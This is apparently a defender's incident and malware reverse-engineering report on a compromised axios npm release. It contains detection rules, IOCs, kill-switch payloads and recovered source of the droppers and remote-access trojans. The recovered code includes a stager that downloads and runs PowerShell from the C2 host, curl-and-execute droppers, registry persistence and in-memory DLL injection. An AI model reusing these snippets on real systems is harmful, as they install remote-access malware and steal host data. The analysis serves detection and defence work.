10.3 Network Detection

  • HTTP POST to port 8000 containing packages.npm.org/product
  • IE8/WinXP User-Agent from non-IE processes
  • JARM: 28d28d28d00028d00028d28d28d28d96d86b34e11c2d3d5508f7111adf9d91
  • JA3: 656b9a2f4de6ed4909e157482860ab3d, 773906b0efdefa24a7f2b8eb6985bf37

10.4 Package Manager Mitigations

  • pnpm and bun disable postinstall scripts by default
  • npm: min-release-age=7 (days) would have blocked this
  • pnpm: minimum-release-age=10080 (minutes)
  • Aikido Safe Chain: enforces 48-hour minimum package age

11. Corrections to Remote Session Report

Issues identified during independent verification:

Issue Original Report Corrected
Linux hash truncated fcb81618bb15edfedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf (63 chars) fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf (64 chars, missing d at pos 16)
Linux detection Not verified 0/76 — completely undetected, sandbox evasion confirmed
macOS detection count 8/76 (correct) 8/76 confirmed
Windows Stage 2 detection 11/76 (original report) 12/76 (updated)
api.apple-cloudkit.com Listed as macOS RAT C2 LEGITIMATE Apple infrastructure — connectivity check / traffic blending, not C2
Akamai fallback IPs Listed as RAT fallback Legitimate CDN nodes — Apple service infrastructure, not attacker-controlled
67.195.204.56 (Yahoo) Listed as suspicious contact Yahoo media router (media-router-apple71.prod.media.vip.bf1.yahoo.com) — background traffic
C2 server tech Not identified Express.js (confirmed via URLScan X-Powered-By header)
Shellcode hashes Listed as from sandbox Not on VirusTotal — may be sandbox-internal artifacts
plain-crypto-js tgz SHA256 58401c195fe... Confirmed on VT (SHA1 matches npm registry: 07d889e2dad...)
Attribution "Suspected Lazarus" Maintained but with stronger evidence: Hostwinds AS54290 overlap + NukeSped + TTP alignment

12. Sources

Source URL
Socket.dev https://socket.dev/blog/axios-npm-package-compromised
StepSecurity https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
Aikido https://www.aikido.dev/blog/axios-npm-compromised-maintainer-hijacked-rat
SafeDep https://safedep.io/axios-npm-supply-chain-compromise/
The Hacker News https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html
Semgrep IOCs https://semgrep.dev/blog/2026/axios-supply-chain-incident-indicators-of-compromise-and-how-to-contain-the-threat/
Penligent https://www.penligent.ai/hackinglabs/axios-compromised-on-npm-what-the-malicious-releases-actually-did/
Joe Desimone (Elastic) Gist https://gist.github.com/joe-desimone/36061dabd2bc2513705e0d083a9673e7
GitHub Issue #10604 axios/axios#10604
Hunt.io (Lazarus Infra) https://hunt.io/blog/dprk-lazarus-kimsuky-infrastructure-uncovered
Validin (Contagious Interview) https://www.validin.com/blog/inoculating_contagious_interview_with_validin/
URLScan.io https://urlscan.io/search/#domain:sfrclak.com
GridInSoft https://gridinsoft.com/online-virus-scanner/url/sfrclak-com
VirusTotal Direct API queries via vt-cli

Report generated 2026-03-31. All VT detection counts verified via vt-cli API at time of writing and may change as vendors update signatures.


13. Post-Incident Updates (March 31 evening)

Detection Trajectory (full day)

Sample Morning Afternoon Evening New Families
macOS RAT 8/76 15/76 19/76 OrDeR (Qihoo360), Siggen.69 (DrWeb), GM.OSX.NukeSped
Windows Stage 2 12/76 17/76 19/76
Linux RAT 0/76 2/76 4/76
setup.js 2/76 4/76 10/76 AXIOSDROP (TrendMicro), OrDeR (Qihoo360)

Notable: OrDeR Family Name

Qihoo360 created a family linking the dropper and macOS RAT:

  • Trojan[Downloader]/JS.OrDeR (setup.js)
  • Trojan[Backdoor]/MacOS.OrDeR (macOS RAT)

Named after the XOR obfuscation key OrDeR_7077 — confirming vendor-level recognition that the dropper and RAT are part of the same campaign.

GitHub Account Compromise CONFIRMED

BleepingComputer reported and we confirmed: GitHub issue #10590 was DELETED (HTTP 410 Gone). The attacker had GitHub access, not just npm. They deleted compromise-related issues to delay detection.

New Vendor Reports

Impact Metrics (consolidated)

  • 100M+ weekly downloads (npm)
  • Present in ~80% of cloud/code environments (Wiz)
  • 3% execution rate in affected environments (Wiz)
  • 100+ affected devices observed (Huntress)
  • 400M monthly downloads (BleepingComputer)
  • ~15 seconds from install to full compromise (HelpNetSecurity)
# Axios npm Supply Chain Compromise - Suricata/Snort Detection Rules
# Date: 2026-03-31
# Reference: https://gist.github.com/N3mes1s/0c0fc7a0c23cdb5e1c8f66b208053ed6
# C2 Domain
alert dns $HOME_NET any -> any any (msg:"AXIOS-RAT C2 DNS Lookup - sfrclak.com"; dns.query; content:"sfrclak.com"; nocase; sid:2026001; rev:1; classtype:trojan-activity;)
# Second C2 Domain (same IP)
alert dns $HOME_NET any -> any any (msg:"AXIOS-RAT C2 DNS Lookup - callnrwise.com"; dns.query; content:"callnrwise.com"; nocase; sid:2026012; rev:1; classtype:trojan-activity;)
# C2 HTTP POST to port 8000
alert http $HOME_NET any -> $EXTERNAL_NET 8000 (msg:"AXIOS-RAT C2 Beacon - POST to port 8000 with campaign ID"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/6202033"; sid:2026002; rev:1; classtype:trojan-activity;)
# Platform-specific POST body (macOS)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"AXIOS-RAT Payload Request - macOS (product0)"; flow:established,to_server; http.method; content:"POST"; http.request_body; content:"packages.npm.org/product0"; sid:2026003; rev:1; classtype:trojan-activity;)
# Platform-specific POST body (Windows)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"AXIOS-RAT Payload Request - Windows (product1)"; flow:established,to_server; http.method; content:"POST"; http.request_body; content:"packages.npm.org/product1"; sid:2026004; rev:1; classtype:trojan-activity;)
# Platform-specific POST body (Linux)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"AXIOS-RAT Payload Request - Linux (product2)"; flow:established,to_server; http.method; content:"POST"; http.request_body; content:"packages.npm.org/product2"; sid:2026005; rev:1; classtype:trojan-activity;)
# Fake IE8/WinXP User-Agent
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"AXIOS-RAT C2 Beacon - Legacy IE8 User-Agent"; flow:established,to_server; http.user_agent; content:"mozilla/4.0 (compatible|3b| msie 8.0|3b| windows nt 5.1|3b| trident/4.0)"; sid:2026006; rev:1; classtype:trojan-activity;)
# C2 IP
alert ip $HOME_NET any -> 142.11.206.73 any (msg:"AXIOS-RAT C2 IP Contact - 142.11.206.73"; sid:2026007; rev:1; classtype:trojan-activity;)
# Base64 FirstInfo beacon pattern
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"AXIOS-RAT C2 Beacon - Base64 FirstInfo"; flow:established,to_server; http.method; content:"POST"; http.request_body; content:"eyJ0eXBlIjoiRmlyc3RJ"; sid:2026009; rev:1; classtype:trojan-activity;)
# Base64 BaseInfo beacon pattern
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"AXIOS-RAT C2 Beacon - Base64 BaseInfo"; flow:established,to_server; http.method; content:"POST"; http.request_body; content:"eyJ0eXBlIjoiQmFzZUlu"; sid:2026008; rev:1; classtype:trojan-activity;)
# Base64 CmdResult beacon pattern
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"AXIOS-RAT C2 Beacon - Base64 CmdResult"; flow:established,to_server; http.method; content:"POST"; http.request_body; content:"eyJ0eXBlIjoiQ21kUmVz"; sid:2026010; rev:1; classtype:trojan-activity;)

Axios RAT Toolkit — Vulnerability Analysis & Kill Switches

Date: 2026-03-31 | Purpose: Exploitable bugs for defensive operations Analysis Environment: Isolated Lima VM — all bugs verified against actual malware source code


Summary

The axios RAT toolkit contains 20+ exploitable bugs across all platforms. The most critical weakness is cleartext HTTP C2 — enabling network-level MitM to take over, neutralize, or kill all connected RATs.


1. Linux RAT (ld.py) — 7 Bugs

CRITICAL: peinject command is BROKEN

  • Line 156: payload = base64.b64decode(b64_string)
  • b64_string is undefined. Should be ijtbin (the function parameter).
  • Impact: peinject command causes NameError exception. Binary injection is non-functional on Linux.
  • Verified: grep confirms exactly 1 reference to b64_string, 0 definitions.

No C2 response validation

  • process_request() calls json.loads(data) with no try/except.
  • Exploitation: Inject malformed JSON via network → crashes the RAT.

Cleartext HTTP — no encryption

  • Uses http.client.HTTPConnection (not HTTPS).
  • Exploitation: Full MitM capability — intercept data, inject commands.

World-writable dropped payloads

  • os.chmod(file_path, 0o777) — any user can replace the payload between write and execute.

Self-identification in process list

  • Own PID marked with * prefix in exfiltrated process list, including full command line with C2 URL.

No persistence

  • Relies solely on nohup from dropper. Dies on reboot.

No error recovery

  • Unhandled exceptions in beacon loop kill the RAT permanently.

2. Windows PowerShell RAT — 8 Bugs

Inconsistent Do-Action-Ijt return type

  • Success: returns string "Wow" (line 70)
  • Failure: returns hashtable @{status="Zzz"; msg=...}
  • Impact: $rlt.status on success returns $null, not "Wow". C2 operator sees null status for successful injections.

Debug Write-Host left in production

  • Line 211: Write-Host $data — logs ALL received C2 commands to console.
  • Exploitation: EDR/event log captures reveal complete C2 command history.

Predictable persistence (always same path)

  • Registry: HKCU\...\Run\MicrosoftUpdate
  • File: C:\ProgramData\system.bat
  • Exploitation: Delete file, remove key, or replace with empty file.

cmd.exe injection target is suspicious

  • (Get-Command cmd).Source = C:\Windows\System32\cmd.exe
  • Windowless cmd.exe is flagged by most EDRs. svchost.exe or explorer.exe would be stealthier.

Empty mainWork() function (dead code)

  • function mainWork { } — completely empty. Real work in work().
  • Suggests unfinished refactoring or code template reuse.

Undefined $count variable

  • $count = $count + 1 — never initialized, never used. Dead code.

No error recovery in beacon loop

  • while($true) has no try/catch. Network error kills the loop.

Cleartext HTTP with trivially decodable Base64

  • Same as Linux — full MitM capability.

3. setup.js Dropper — 5 Bugs

Silent failure on ANY error

  • Entire _entry() wrapped in try { ... } catch {} — empty catch block.
  • Exploitation: Block sfrclak.com at DNS → dropper fails silently, npm install succeeds normally.

Synchronous execution blocks npm install

  • Uses execSync() — npm install visibly hangs if C2 is slow/down.

LOLBin PowerShell copy is hash-identical

  • wt.exe is byte-for-byte copy of powershell.exe — hash match detection.

VBScript is deprecated

  • cscript.exe + VBS is disabled by default on Windows 11 24H2+. Attack fails on modern Windows.

Anti-forensics leaves artifacts

  • node_modules/plain-crypto-js/ directory persists even after cleanup.
  • package.json content change detectable by Harden-Runner ("Source Code Overwritten").

4. macOS RAT — 5 Bugs

Not stripped — full symbols preserved

  • All function names visible: Report, DoWork, DoActionIjt, DoActionScpt, RunProcess, etc.
  • Trivial to reverse engineer and create signatures.

Ad-hoc signing triggers Gatekeeper

  • com.apple.security.get-task-allow = true — not a valid Apple signature.
  • macOS Sonoma+ blocks execution with quarantine dialog.

No anti-debug

  • sysctl/sysctlbyname imported but never used for P_TRACED check.
  • No ptrace(PT_DENY_ATTACH).

Command injection via system() codesigning

  • system(snprintf("codesign --force --deep --sign - \"%s\"", path))
  • If path contains shell metacharacters, command injection is possible.

Build artifacts reveal developer

  • Path: /Users/mac/Desktop/Jain_DEV/client_mac/macWebT/
  • UUID: c848257813983360905d7ad0f7e5e3f5

5. Kill Switches & Active Defense

DNS Sinkhole → Kill All RATs

# At DNS resolver or /etc/hosts:
sfrclak.com → 127.0.0.1  (or controlled sinkhole server)

Sinkhole server responds with:

{"type": "kill", "CmdID": "sinkhole-001"}

Effect: Every connected RAT self-terminates after sending rsp_kill acknowledgment.

Network MitM → Take Control

Since C2 is cleartext HTTP on port 8000, any network device (proxy, firewall, IDS) can:

  1. Intercept the Base64-encoded POST beacon
  2. Decode → read exfiltrated data (hostnames, usernames, process lists)
  3. Respond with attacker commands:

Kill:

{"type": "kill", "CmdID": "defender-1"}

Collect forensics:

{"type": "rundir", "CmdID": "forensics-1", "ReqPaths": [
  {"path": "/home", "id": "home"},
  {"path": "/etc", "id": "etc"},
  {"path": "/tmp", "id": "tmp"}
]}

Neutralize Linux:

{"type": "runscript", "CmdID": "fix-1", "Script": "", "Param": "rm -f /tmp/ld.py && kill -9 $$"}

Neutralize Windows:

{"type": "runscript", "CmdID": "fix-2", "Script": "", "Param": "Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name 'MicrosoftUpdate' -Force; Remove-Item C:\\ProgramData\\system.bat -Force; exit"}

Neutralize macOS:

{"type": "runscript", "CmdID": "fix-3", "Script": "", "Param": "rm -f /Library/Caches/com.apple.act.mond"}

Predictable Base64 Beacon Signatures

IDS/IPS can block beacons by matching these Base64 prefixes in HTTP POST bodies:

eyJ0eXBlIjoiRmlyc3RJ    = {"type":"FirstInfo...
eyJ0eXBlIjoiQmFzZUlu    = {"type":"BaseInfo...
eyJ0eXBlIjoiQ21kUmVz    = {"type":"CmdResult...

Vaccination (Pre-emptive Protection)

Create read-only decoy files at persistence locations:

# Linux
sudo touch /tmp/ld.py && sudo chown root:root /tmp/ld.py && sudo chmod 000 /tmp/ld.py

# macOS
sudo touch /Library/Caches/com.apple.act.mond && sudo chmod 000 /Library/Caches/com.apple.act.mond
# Windows
New-Item -Path C:\ProgramData\system.bat -ItemType File -Force
Set-ItemProperty -Path C:\ProgramData\system.bat -Name IsReadOnly -Value $true
icacls C:\ProgramData\system.bat /deny Everyone:(W,D)

Effect: Dropper's fwrite/Set-Content fails → infection blocked.

Axios Supply Chain — Dropped Payloads Full Reverse Engineering

Last Updated: 2026-03-31 11:00 UTC Analysis Environment: Lima VM (Ubuntu 24.04 ARM64, isolated, no network) Tools Used: radare2, Node.js (deobfuscation), strings, file, xxd, python3 Samples Source: VirusTotal API download (vt-cli) **All files renamed to .mlwr extension for safety

Table of Contents

Changelog

Date Update
2026-03-31 09:30 Initial static analysis of all 5 payloads
2026-03-31 10:00 Full RE: radare2 decompilation of macOS binary, Node.js deobfuscation of setup.js
2026-03-31 10:30 Deep Windows analysis: function inventory, WMI queries, .NET reflection, persistence
2026-03-31 10:45 Memory dump download: Zenbox 47MB, 1,435 dump files
2026-03-31 11:00 PE extraction from memory dumps: 12 PEs found, none are Extension.SubRoutine

1. Linux RAT — ld.py (FULL SOURCE RECOVERED)

Hash: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf Size: 12,323 bytes | Detection: 0/76 | Language: Python 3

1.1 Architecture

The Linux RAT is a single-file Python script with no obfuscation. It's the cleanest, most readable payload of the three platforms.

Imports: string, secrets, os, pwd, platform, time, sys, subprocess, base64, shlex, pathlib, json, urllib.parse, datetime, http.client

No third-party dependencies — runs on any system with Python 3.

1.2 C2 Protocol

  • Transport: http.client.HTTPConnection / HTTPSConnection (no requests library needed)
  • User-Agent: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
  • Content-Type: application/x-www-form-urlencoded
  • Encoding: JSON → UTF-8 → Base64 → POST body
  • Beacon interval: 60 seconds (time.sleep(60))
  • Session ID: 16-char random alphanumeric via secrets.choice()
  • C2 URL: Passed as sys.argv[1]

1.3 Initialization Flow

work() → generate UID → init_dir_info() → send FirstInfo → main_work() loop

FirstInfo beacon (first contact):

{
  "type": "FirstInfo",
  "uid": "<16-char-random>",
  "os": "linux_x64|linux_arm|linux_unknown",
  "content": [directory listings of ~/home, ~/.config, ~/Documents, ~/Desktop]
}

BaseInfo beacon (subsequent, every 60s):

{
  "type": "BaseInfo",
  "uid": "<uid>",
  "data": {
    "hostname": "<from /proc/sys/kernel/hostname>",
    "username": "<os.getlogin()>",
    "os": "linux_x64",
    "version": "Linux 6.x.x",
    "timezone": "<UTC offset>",
    "installDate": "<ctime of /var/log/installer or /var/log/dpkg.log>",
    "bootTimeString": "<from /proc/uptime>",
    "currentTimeString": "<now>",
    "modelName": "<from /sys/class/dmi/id/sys_vendor>",
    "cpuType": "<from /sys/class/dmi/id/product_name>",
    "processList": "<full process listing>"
  }
}

1.4 RAT Commands (identical interface to Windows/macOS)

Command Handler Description
kill inline Sends rsp_kill, calls sys.exit(0)
peinject do_action_ijt() Decodes Base64 binary → writes to /tmp/.<random6>chmod 777subprocess.Popen()
runscript do_action_scpt() Two modes: direct shell (subprocess.run(shell=True)) or Base64 Python script via python3 -c
rundir do_action_dir() Directory listing with metadata (name, isDir, size, created, modified, hasItems)

Status codes: "Wow" = success, "Zzz" = error

1.5 Reconnaissance

  • Process enumeration: Reads /proc/*/cmdline, /proc/*/stat, /proc/*/status for every PID. Extracts PID, PPID, username (via UID→/etc/passwd lookup), start time, and command line. Marks own PID with * prefix.
  • System info: /sys/class/dmi/id/sys_vendor, /sys/class/dmi/id/product_name
  • Boot time: /proc/uptime
  • Install date: ctime of /var/log/installer or /var/log/dpkg.log
  • Architecture detection: platform.machine() → maps to linux_x64, linux_arm, or linux_unknown

1.6 Binary Injection (peinject)

def do_action_ijt(ijtbin, param):
    payload = base64.b64decode(b64_string)
    file_path = f"/tmp/.{generate_random_string(6)}"
    with open(file_path, "wb") as file:
        file.write(payload)
    os.chmod(file_path, 0o777)
    subprocess.Popen([file_path] + shlex.split(param))
  • Writes to /tmp/.<6-random-chars> (dot-prefixed = hidden)
  • chmod 777 — world-executable
  • Spawned as subprocess (persists after RAT exit)

1.7 Script Execution (runscript)

Two modes:

  1. Direct shell: subprocess.run(cmdline, shell=True) — arbitrary command execution
  2. Python payload: Base64-decodes script, runs via python3 -c <decoded> with params

1.8 Key Observations

  • No persistence mechanism — relies solely on nohup from the dropper
  • No encryption — all C2 comms are Base64 over cleartext HTTP
  • No anti-analysis — no VM detection, no sandbox evasion, no debugger checks
  • Why 0/76 detection: The code is syntactically clean Python with no suspicious imports. The subprocess.run(shell=True) and file writing are common legitimate patterns. AV heuristics can't distinguish this from a normal admin script.
  • Bug: do_action_ijt() references b64_string which is undefined — should be ijtbin. This means the peinject command would crash on Linux. Either this is a bug in this variant or b64_string is meant to be a global set elsewhere.

2. Windows Stage 2 — PowerShell RAT (FULL SOURCE RECOVERED)

Hash: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 Size: 11,042 bytes (382 lines) | Detection: 12/76 | Language: PowerShell

2.1 Initialization (runs immediately on load)

$url = $args[0]  # C2 URL passed from Stage 1
$uid = -join ((48..57)+(65..90)+(97..122) | Get-Random -Count 16 | ForEach-Object {[char]$_})

Persistence (executes immediately):

$batFile = Join-Path $env:PROGRAMDATA "system.bat"
$batCont = "start /min powershell -w h -c ""& ([scriptblock]::Create(...))"" '<C2-URL>'"
Set-Content -Path $batFile -Value $batCont -Encoding ASCII
Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden
Set-ItemProperty -Path "HKCU:\...\Run" -Name "MicrosoftUpdate" -Value $batFile

This ensures re-infection on every login — the bat file re-downloads the RAT from C2.

2.2 C2 Protocol

$wc = New-Object System.Net.WebClient
$wc.Headers["User-Agent"] = "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"
$bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($body)
$base64Body = [Convert]::ToBase64String($bodyBytes)
$responseBytes = $wc.UploadData($url, "POST", $postBytes)

2.3 RAT Commands

Command Handler Key Detail
kill inline Sends rsp_kill, exit 0
peinject Do-Action-Ijt Reflective .NET DLL loading[System.Reflection.Assembly]::Load() → invokes Extension.SubRoutine.Run2() with shellcode + target (cmd.exe)
runscript Do-Action-Scpt Three paths: direct args, temp file for ≥10KB, EncodedCommand for <10KB
rundir Do-Action-Dir Get-ChildItem -Force with metadata

2.4 Process Injection Detail

[byte[]]$rotjni = [System.Convert]::FromBase64String($ijtdll)   # "injtor" reversed
[byte[]]$daolyap = [System.Convert]::FromBase64String($ijtbin)  # "payload" reversed
$assem = [System.Reflection.Assembly]::Load([byte[]]$rotjni)
$class = $assem.GetType("Extension.SubRoutine")
$method = $class.GetMethod("Run2")
$method.Invoke(0, @([byte[]]$daolyap, (Get-Command cmd).Source, $param))
  • Never touches disk — DLL loaded from byte array in memory
  • Target process: cmd.exe (process hollowing)
  • Variable names are reversed: $rotjni = "injtor", $daolyap = "payload"

2.5 Reconnaissance (first beacon only)

Enumerates these directories on first contact:

  • $env:USERPROFILE\Documents, Desktop, OneDrive, AppData\Roaming
  • All filesystem drive roots via Get-PSDrive -PSProvider FileSystem

System info collected: hostname, username, OS version, timezone, install date, boot time, CPU type, model name, full process list via Get-CimInstance Win32_Process.

2.6 Script Execution — Three Paths

  1. No script, just params: powershell -NoProfile -ep Bypass $param 2>&1
  2. Script ≥ 10KB: Write to temp .ps1 file, execute, delete
  3. Script < 10KB: Double-encode (Unicode → Base64), use -EncodedCommand

2.7 Key Observations

  • Most sophisticated variant — only one with process injection capability
  • Reversed variable names suggest code reuse from another tool
  • Extension.SubRoutine.Run2() — specific .NET class/method for the injector DLL. This is a strong IOC for threat hunting.
  • mainWork function is empty — the work loop is in work(). Leftover stub.
  • No explicit count variable initialization$count = $count + 1 references undefined $count, but PowerShell auto-initializes to 0.

3. Windows Stage 1 — system.bat (FULL SOURCE RECOVERED)

Hash: f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd Size: 265 bytes | Detection: 3/76

start /min powershell -w h -c "& ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString(
  (Invoke-WebRequest -UseBasicParsing -Uri 'http://sfrclak.com:8000/6202033' 
   -Method POST -Body 'packages.npm.org/product1').Content
))) 'http://sfrclak.com:8000/6202033'"

Analysis:

  • start /min — minimized window
  • powershell -w h — hidden window style
  • Downloads Stage 2 via POST to C2 with body packages.npm.org/product1
  • Executes Stage 2 entirely in-memory via [scriptblock]::Create()
  • Passes C2 URL as $args[0] to Stage 2
  • Fileless execution — Stage 2 never touches disk during normal operation

4. setup.js Dropper (FULL SOURCE RECOVERED)

Hash: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 Size: 4,209 bytes | Detection: 2/76

Single-line minified JavaScript. Key structures:

  • stq[] array: 18 XOR+Base64 encoded strings
  • _trans_1(): XOR cipher with key digits, constant 333
  • _trans_2(): Reverse → underscore-to-equals → Base64 decode → _trans_1
  • _entry("6202033"): Main function, takes campaign ID

Platform-specific execution:

  • darwin: Creates temp file with AppleScript, downloads via osascript + curl
  • win32: Finds PowerShell path via where powershell, copies to %PROGRAMDATA%\wt.exe, writes VBS loader
  • linux (fallback): Direct execSync of curl + nohup python3

Anti-forensics (end of _entry):

t.unlink(K, (x=>{}))                          // delete setup.js
t.unlink(_trans_2(stq[13], ord), (x=>{}))     // delete package.json
t.rename(_trans_2(stq[14], ord), _trans_2(stq[13], ord), (x=>{}))  // package.md → package.json

4.2 Full Deobfuscated String Table (Node.js deobfuscation in Lima VM)

Index Decoded Value Purpose
stq[0] child_process Node.js exec module
stq[1] os OS detection module
stq[2] fs Filesystem module
stq[3] http://sfrclak.com:8000/ C2 base URL
stq[4] (empty) Unused
stq[5] win32 Windows platform check
stq[6] darwin macOS platform check
stq[7] VBScript payload (see below) Windows dropper — VBS that invokes curl + PowerShell
stq[8] AppleScript payload (see below) macOS dropper — osascript + curl + zsh
stq[9] nohup osascript... macOS execution command (partially decoded)
stq[10] (empty) Unused
stq[11] curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 & Linux execution command
stq[12] package.json Deletion target (malicious package.json)
stq[13] package.md Clean package.json replacement
stq[14] .exe Windows extension
stq[15] .ps1 PowerShell extension
stq[16] .vbs VBScript extension

stq[7] — Windows VBScript Payload (decoded):

Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""SCR_LINK"" > ""PS_PATH"" & ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""SCR_LINK"" & del ""PS_PATH"" /f", 0, False

stq[8] — macOS AppleScript Payload (decoded):

set {a, s, d} to {"", "SCR_LINK", "/Library/Caches/com.apple.act.mond"}
try
    do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c \"" & d & " " & s & " &\" &> /dev/null"
end try
do shell script "rm -rf LOCAL_PATH"

Template variables SCR_LINK, PS_PATH, PS_BINARY, LOCAL_PATH are replaced at runtime with the C2 URL, temp paths, and renamed PowerShell binary.


5. macOS RAT — com.apple.act.mond (BINARY ANALYSIS)

Hash: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a Size: 657,424 bytes | Detection: 8/76 (NukeSped) | Type: Mach-O fat binary (x86_64 + ARM64)

5.1 Build Artifacts (from strings)

/Users/mac/Desktop/Jain_DEV/client_mac/macWebT/macWebT/
/Users/mac/Library/Developer/Xcode/DerivedData/macWebT-hlbytmqtodqtmmfrlgcunsjzzmop/Build/Intermediates.noindex/macWebT.build/Release/macWebT.build/Objects-normal/arm64/main.o
/Users/mac/Library/Developer/Xcode/DerivedData/macWebT-hlbytmqtodqtmmfrlgcunsjzzmop/Build/Intermediates.noindex/macWebT.build/Release/macWebT.build/Objects-normal/x86_64/main.o

5.2 Exported Symbols (C++ demangled)

Symbol Function
Report(char const*, char const*, std::string&) C2 exfiltration via libcurl
DoActionDir(nlohmann::json) Directory enumeration
RunProcess(std::vector<std::string>) Process execution
GenerateUID(char*, int) Session ID generation
GetProcessList(unsigned long) Process enumeration
GetFileList(...) File listing with metadata

5.3 Libraries & Dependencies

  • nlohmann/json v3.11.3 — JSON parsing (C++ header-only library)
  • libcurl.4.dylib — HTTP C2 communication
  • libc++.1.dylib — C++ standard library
  • libSystem.B.dylib — macOS system calls

5.4 Radare2 Reverse Engineering

Binary info: ARM64 Mach-O, C++ (nlohmann/json v3.11.3), PIE, not stripped, ad-hoc signed

Key functions identified via aaa + afl:

Address Function Size Purpose
0x1000073b4 main() 2,352 bytes Entry point, beacon loop
0x100001198 Report() 656 bytes C2 exfil via libcurl
0x100004b34 DoWork() ~5,000 bytes Command dispatcher (kill/peinject/runscript/rundir) — all handlers inlined
0x100006aec InitDirInfo() 1,636 bytes Initial directory enumeration
0x1000014bc GenerateUID() 160 bytes Session ID generation
0x100001124 GetOS() 116 bytes Architecture detection via sysctlbyname

main() execution flow (reconstructed from pdsf):

GenerateUID(16) → GetOS() → InitDirInfo()
→ Build JSON: {type: "FirstInfo", uid, os, content: [dir listings]}
→ Report(url, "POST", json) → C2

LOOP (every 60s):
  GetOSVersion() → GetTimezone() → GetOSInstallTime() → GetBootTime()
  → GetModel() → GetCPUType() → GetHostname() → GetUsername()
  → time() → FormatTime() → GetProcessList()
  → JSON: {type: "BaseInfo", uid, data: {hostname, username, version, ...}}
  → Report() → parse response → DoWork() → sleep(60)

Report() — C2 via libcurl (656 bytes at 0x100001198):

curl_easy_init()
curl_easy_setopt() × 9  [URL, POST body, User-Agent, write callback, etc.]
  User-Agent: "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"
curl_easy_perform()
[CurlGuard RAII destructor auto-cleans]

DoWork() — Command dispatch (reconstructed from string xrefs):

if type == "kill":     → rsp_kill, exit(0)
if type == "peinject": → decode IjtBin → write /private/tmp/.<random>
                       → codesign --force --deep --sign - "<path>"
                       → execute → rsp_peinject
if type == "runscript":→ decode Script → write /tmp/.XXXXXX.scpt
                       → /usr/bin/osascript OR shell exec
                       → rsp_runscript
if type == "rundir":   → enumerate ReqPaths[]
                       → {Name, IsDir, SizeBytes, Created, Modified, HasItems}
                       → rsp_rundir

5.5 Full Function Reverse Engineering (radare2 pdsf + xref analysis)

DoActionIjt() — Binary Injection (peinject handler)

Address: references codesign at 0x100002fcc, /private/tmp/.%s at 0x100002f34
Flow:
  1. GenerateUID()       → random filename
  2. snprintf("/private/tmp/.%s", uid)  → hidden drop path
  3. unlink()            → remove existing file
  4. fopen() + fwrite()  → write decoded Base64 payload to disk
  5. fclose()
  6. chmod(path, 0o770)  → make executable (owner+group)
  7. snprintf("codesign --force --deep --sign - \"%s\"", path)
  8. system()            → ad-hoc codesign the dropped binary
  9. strlen() + strcat() → build execution command with params
  10. popen()            → execute the signed binary
  11. pclose()

DoActionScpt() — Script Execution (runscript handler)

Address: references /usr/bin/osascript at 0x1000042b4
Flow:
  If script provided:
    1. CreateTempScptFile() → write to /tmp/.XXXXXX.scpt (hidden, mkstemps)
    2. Build argv: ["/usr/bin/osascript", temp_path]
    3. RunProcess() → fork+execv
    4. unlink() temp file
  If no script:
    1. Execute param as shell command directly
  Exception handling: __cxa_begin_catch → unlink temp → return "Zzz"

CreateTempScptFile() — Secure Temp File Creation

Address: references /tmp/.XXXXXX.scpt at 0x100003c74
Flow:
  1. mkstemps("/tmp/.XXXXXX.scpt", 5)  → unique hidden temp file
  2. write(fd, script_content, len)
  3. close(fd)
  Errors: throws runtime_error("mkstemps failed") or "write temp file failed"

RunProcess() — Process Execution via fork+execv

Address: references fork_failed at 0x1000035d8
Flow:
  1. pipe()              → create stdout capture
  2. fork()              → spawn child
  3. CHILD: dup2() × 2 → redirect stdout/stderr → close pipe → execv() → _exit()
  4. PARENT: close write end → read() loop → capture output → close → waitpid()
  Return: captured stdout + exit status

Note: Uses fork+execv, NOT system() — more sophisticated process control with output capture.

Report() — C2 Communication via libcurl

Address: 0x100001198 (656 bytes)
Flow:
  1. Base64Encode(json_data)
  2. curl_easy_init()
  3. curl_easy_setopt() × 10:
     - 0x2712 CURLOPT_URL          → C2 endpoint (from argv[1])
     - 0x27b5 CURLOPT_POSTFIELDS   → Base64-encoded JSON
     - 0x0034 CURLOPT_POST         → 1 (HTTP POST)
     - 0x002b CURLOPT_FOLLOWLOCATION → 1
     - 0x004e CURLOPT_TIMEOUT      → 30 seconds
     - 0x002f CURLOPT_NOSIGNAL     → 1 (thread-safe)
     - 0x4e2b CURLOPT_WRITEFUNCTION → response callback
     - 0x271a CURLOPT_WRITEDATA    → response buffer  
     - 0x2711 CURLOPT_READFUNCTION → write callback
